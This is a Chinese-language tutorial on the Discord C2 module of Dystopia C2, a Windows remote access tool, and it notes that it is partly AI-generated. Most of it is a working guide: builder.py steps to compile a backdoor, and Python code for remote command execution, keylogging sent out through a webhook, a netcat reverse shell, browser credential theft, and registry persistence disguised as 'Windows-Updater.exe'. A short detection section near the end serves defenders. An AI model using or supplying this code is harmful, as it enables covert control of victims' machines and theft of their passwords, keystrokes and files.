Dystopia C2 Discord C2模块详解:从Bot配置到远程命令执行
Dystopia C2 Discord C2模块详解:从Bot配置到远程命令执行
【免费下载链接】dystopia-c2Windows Remote Administration Tool that uses Discord, Telegram and GitHub as C2s项目地址: https://gitcode.com/gh_mirrors/dy/dystopia-c2
Dystopia C2是一款功能强大的Windows远程管理工具,它创新性地利用Discord、Telegram和GitHub作为命令与控制(C2)服务器。本文将深入探讨其Discord C2模块的实现细节,从Bot配置到远程命令执行的完整流程,帮助安全研究人员和开发者全面了解这一模块的工作原理与使用方法。
核心功能概述:Discord C2模块的强大之处
Discord C2模块是Dystopia C2的核心组件之一,它允许管理员通过Discord平台实现对目标主机的远程控制。该模块基于Python的discord.py库开发,提供了丰富的交互功能,包括系统信息收集、文件管理、命令执行、屏幕截图、摄像头控制等。
主要功能特点:
- 多Agent管理:支持同时管理多个被控主机
- 丰富的交互命令:提供超过20种远程控制命令
- 直观的用户界面:通过Discord消息和嵌入组件展示数据
- 持久化控制:支持在目标系统上建立持久化机制
- 隐蔽通信:利用Discord的合法通信通道进行数据传输
环境准备:构建Discord C2的前置条件
在使用Discord C2模块之前,需要完成以下准备工作:
1. 安装必要依赖
项目依赖项在requirements.txt文件中定义,主要包括discord.py、pyautogui、opencv-python等库。使用以下命令安装依赖:
pip install -r requirements.txt2. Discord Bot创建与配置
- 访问Discord开发者门户(https://discord.com/developers/applications)
- 创建新应用并添加Bot用户
- 记录Bot Token(后续配置需要)
- 为Bot授予必要的权限(发送消息、嵌入链接、上传文件等)
- 将Bot邀请到您的Discord服务器,记录Guild ID和Channel ID
3. 项目结构解析
Discord C2模块的核心代码位于项目的code/discord目录下,主要文件结构如下:
code/ └── discord/ └── main.py # Discord C2模块主程序 libraries/ ├── disctopia.py # 核心功能库 ├── credentials.py # 凭证获取模块 ├── keylogger.py # 键盘记录器 └── sandboxevasion.py # 沙箱逃避模块 builder.py # 后门构建工具配置流程:使用builder.py构建Discord后门
builder.py是Dystopia C2的后门构建工具,通过简单的命令行交互即可生成配置好的Discord C2后门。
基本配置步骤
运行builder.py:
python builder.py选择Discord payload:
[+] > use discord [+] Using Discord C2设置必要参数:
[+] discord > set name MyBackdoor [+] discord > set guild-id YOUR_GUILD_ID [+] discord > set bot-token YOUR_BOT_TOKEN [+] discord > set channel-id YOUR_CHANNEL_ID [+] discord > set webhook YOUR_KEYLOGGER_WEBHOOK查看配置:
[+] discord > config构建后门:
[+] discord > build [?] Are you sure you want to build the backdoor? (y/n) y [+] Building backdoor...
构建完成后,后门程序将生成在dist目录下,文件名为之前设置的name参数值(如MyBackdoor.exe)。
代码解析:Discord C2模块的工作原理
Bot初始化与事件处理
Discord C2模块的核心是Bot类,位于code/discord/main.py文件中。Bot初始化时设置了必要的Intents,并覆盖了on_ready和setup_hook等关键方法:
class Bot(commands.Bot): def __init__(self): intents = discord.Intents.default() intents.message_content = True super().__init__(command_prefix = "!", intents = intents, help_command=None) async def on_ready(self): await self.wait_until_ready() self.channel = self.get_channel(CHANNEL) # 发送上线通知,包含系统信息 now = datetime.now() my_embed = discord.Embed(title=f"{MSG}",description=f"**Time: {now.strftime('%d/%m/%Y %H:%M:%S')}**", color=COLOR) my_embed.add_field(name="**IP**", value=disctopia.getIP(), inline=True) my_embed.add_field(name="**Bits**", value=disctopia.getBits(), inline=True) # 添加更多系统信息字段... await self.channel.send(embed=my_embed)当Bot成功连接到Discord服务器后,会自动向指定频道发送包含被控主机系统信息的嵌入消息,包括IP地址、操作系统、用户名、CPU信息等。
交互界面:InteractButton类
为了提供直观的交互方式,模块实现了InteractButton类,通过Discord按钮组件实现常用功能的快速访问:
class InteractButton(discord.ui.View): def __init__(self, inv:str, id:int): super().__init__() self.inv = inv self.id = id @discord.ui.button(label="Interact", style=discord.ButtonStyle.blurple, emoji="🔗") async def interactButton(self, interaction:discord.Interaction, button:discord.ui.Button): global CURRENT_AGENT CURRENT_AGENT = self.id await interaction.response.send_message(embed=discord.Embed(title=f"Interacted with agent {self.id}", color=0x00FF00), ephemeral=True) # 其他按钮方法:Terminate、Webshot、Process、Screenshot等这些按钮提供了便捷的操作入口,包括与Agent交互、终止连接、获取摄像头截图、查看进程列表等功能。
核心命令实现
Discord C2模块提供了丰富的命令集,通过discord.py的hybrid_command装饰器实现,既支持前缀命令也支持应用命令:
1. 命令执行功能
@bot.hybrid_command(name = "cmd", with_app_command = True, description = "Run any command on the target machine") @app_commands.guilds(GUILD) async def cmd(ctx: commands.Context, command:str): if (int(CURRENT_AGENT) == int(ID)): result = disctopia.cmd(command) if len(result) > 4000: path = os.environ["temp"] +"\\response.txt" with open(path, 'w') as file: file.write(result) await ctx.reply(file=discord.File(path)) os.remove(path) else: await ctx.reply("```"+result+"```")该命令通过调用disctopia.cmd函数执行系统命令,并将结果返回给Discord频道。当结果过长时,会自动保存为文件并上传。
2. 屏幕截图功能
@bot.hybrid_command(name = "screenshot", with_app_command = True, description = "Take a screenshot of the target machine's screen") @app_commands.guilds(GUILD) async def screenshot(ctx: commands.Context): if (int(CURRENT_AGENT) == int(ID)): result = disctopia.screenshot() if result != False: await ctx.reply(file=discord.File(result)) os.remove(result) else: my_embed = discord.Embed(title=f"Error while taking screenshot to Agent#{ID}", color=0xFF0000) await ctx.reply(embed=my_embed)该命令使用pyautogui库实现屏幕截图,并通过Discord消息返回截图文件。
3. 持久化功能
@bot.hybrid_command(name = "persistent", with_app_command = True, description = "Make the agent persistent on the target machine") @app_commands.guilds(GUILD) async def persistent(ctx: commands.Context): if (int(CURRENT_AGENT) == int(ID)): result = disctopia.persistent() if result: my_embed = discord.Embed(title=f"Persistance enabled on Agent#{ID}", color=0x00FF00) else: my_embed = discord.Embed(title=f"Error while enabling persistance on Agent#{ID}", color=0xFF0000) await ctx.reply(embed=my_embed)持久化功能通过修改Windows注册表实现,将后门程序添加到启动项中:
def persistent(): try: backdoor_location = os.environ["appdata"] + "\\Windows-Updater.exe" if not os.path.exists(backdoor_location): shutil.copyfile(sys.executable, backdoor_location) sp.call( 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + backdoor_location + '" /f', shell=True) return True else: return "already-enabled" except Exception as e: return e高级功能:深入Discord C2的强大能力
1. 键盘记录器
Discord C2模块集成了键盘记录功能,可通过keylog命令启动:
@bot.hybrid_command(name = "keylog", with_app_command = True, description = "Start a keylogger on the target machine") @app_commands.guilds(GUILD) async def keylog(ctx: commands.Context, mode:str ,interval:int): if (int(CURRENT_AGENT) == int(ID)): logger = keylogger.Keylogger(interval=interval, ID=ID, webhook=KEYLOGGER_WEBHOOK, report_method="webhook") if mode == "stop": logger.stop() await ctx.reply(embed=discord.Embed(title=f"Keylogger stopped on Agent#{ID}", color=0x00FF00)) else: threading.Thread(target=logger.start).start() await ctx.reply(embed=discord.Embed(title=f"Keylogger started on Agent#{ID}", color=0x00FF00))键盘记录器会在后台线程中运行,按指定时间间隔通过Webhook将记录的按键信息发送到Discord。
2. 反向Shell
模块提供了反向Shell功能,可通过revshell命令建立:
@bot.hybrid_command(name = "revshell", with_app_command = True, description = "Get a reverse shell on the target machine") @app_commands.guilds(GUILD) async def location(ctx: commands.Context, ip:str, port:int): if (int(CURRENT_AGENT) == int(ID)): result = disctopia.revshell(ip, port) if result: my_embed = discord.Embed(title=f"Attempting to Establish Reverse Shell on Agent#{ID}", color=0x00FF00) await ctx.reply(embed=my_embed)该功能会下载nc.exe(netcat)到目标系统,然后建立反向连接到指定的IP和端口。
3. 凭证窃取
通过creds命令可以获取目标系统上保存的浏览器凭证:
@bot.hybrid_command(name = "creds", with_app_command = True, description = "Get the credentials of the target machine") @app_commands.guilds(GUILD) async def creds(ctx: commands.Context): if (int(CURRENT_AGENT) == int(ID)): result = disctopia.creds() if result != False: await ctx.reply(file=discord.File(result)) os.remove(result) else: my_embed = discord.Embed(title=f"Error while grabbing credentials from Agent#{ID}", color=0xFF0000) await ctx.reply(embed=my_embed)凭证窃取功能在libraries/credentials.py中实现,支持从Chrome等浏览器中提取保存的密码。
使用指南:Discord C2命令参考
Discord C2模块提供了丰富的命令,以下是常用命令的简要说明:
基本命令
/interact <id>: 与指定ID的Agent交互/background: 取消与当前Agent的交互/ls: 列出所有在线Agent/help: 显示帮助菜单
系统信息命令
/process: 列出目标系统进程/location: 获取目标地理位置信息/screenshot: 获取目标屏幕截图/webshot: 获取目标摄像头截图
文件操作命令
/cd <path>: 切换目标系统目录/download <path>: 从目标下载文件/upload <url> <name>: 上传文件到目标
控制命令
/cmd <command>: 在目标执行系统命令/killproc <pid>: 终止目标进程/persistent: 在目标建立持久化/selfdestruct: 从目标删除Agent/wallpaper <url>: 修改目标桌面壁纸/recordmic <seconds>: 录制目标麦克风
防御与检测:如何防范Discord C2攻击
虽然Discord C2模块功能强大,但也有一些特征可以用于检测和防御:
- 网络流量分析:监控与Discord服务器的异常通信
- 进程监控:注意异常的Python进程或不明EXE文件
- 注册表监控:检测HKCU\Software\Microsoft\Windows\CurrentVersion\Run下的可疑启动项
- 文件系统监控:关注AppData目录下的可疑文件
- 行为分析:检测屏幕截图、摄像头访问等可疑行为
安全人员可以通过这些方法及时发现并防范基于Discord C2的攻击。
总结:Discord C2模块的价值与风险
Dystopia C2的Discord C2模块展示了如何利用合法平台构建强大的远程控制工具。对于安全研究人员和渗透测试人员来说,它提供了一个研究C2技术的良好案例;但同时也提醒我们,合法平台可能被滥用于恶意目的。
通过本文的解析,我们不仅了解了Discord C2模块的工作原理和使用方法,也认识到了加强网络安全防护的重要性。在使用这类工具时,务必遵守法律法规,仅在授权环境中进行测试和研究。
要获取Dystopia C2项目,请使用以下命令克隆仓库:
git clone https://gitcode.com/gh_mirrors/dy/dystopia-c2项目的完整文档和更多使用细节,请参考代码中的注释和帮助命令。
【免费下载链接】dystopia-c2Windows Remote Administration Tool that uses Discord, Telegram and GitHub as C2s项目地址: https://gitcode.com/gh_mirrors/dy/dystopia-c2
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考